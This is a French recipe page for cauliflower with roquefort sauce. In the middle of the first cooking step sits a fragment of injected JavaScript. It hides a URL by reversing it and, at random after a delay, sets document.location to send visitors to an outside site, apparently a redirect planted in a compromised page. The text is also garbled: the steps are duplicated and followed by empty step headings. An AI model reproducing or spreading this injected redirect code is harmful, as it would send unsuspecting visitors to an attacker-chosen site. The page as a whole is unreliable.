Chou-fleur au roquefort
2021-06-07- Thématique : Végétarien
- Niveau : Facile
Séparez le chou-fleur en fleurettes. Faites les cuire à la vapeur pendant 15 minutes. Pelez, émincez les échalotes. Écrasez le roquefort avec une fourchette. Dans une casserole avec une noix de beurre et 1 cuillère à soupe d’huile d’arachide. Faites suer les échalotes pendant 2 minutes sur feu doux, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant.
Ingrédients
Séparez le chou-fleur en fleurettes. Faites les cuire à la vapeur pendant 15 minutes. Pelez, émincez les échalotes. Écrasez le roquefort avec une fourchette. Dans une casserole avec une noix de beurre et 1 cuillère à soupe d'huile d'arachide. Faites suer les échalotes pendant 2 minutes sur feu doux, tout en mélangeant. Salez légèrement, poivrez. Incorporez le roquefort, faites encore un peu chauffer, le temps que le fromage fonde. Égouttez le chou-fleur, le déposer dans un plat de service. Nappez de sauce au roquefort. Parsemez de ciboulettes ciselées et dégustez aussitôt.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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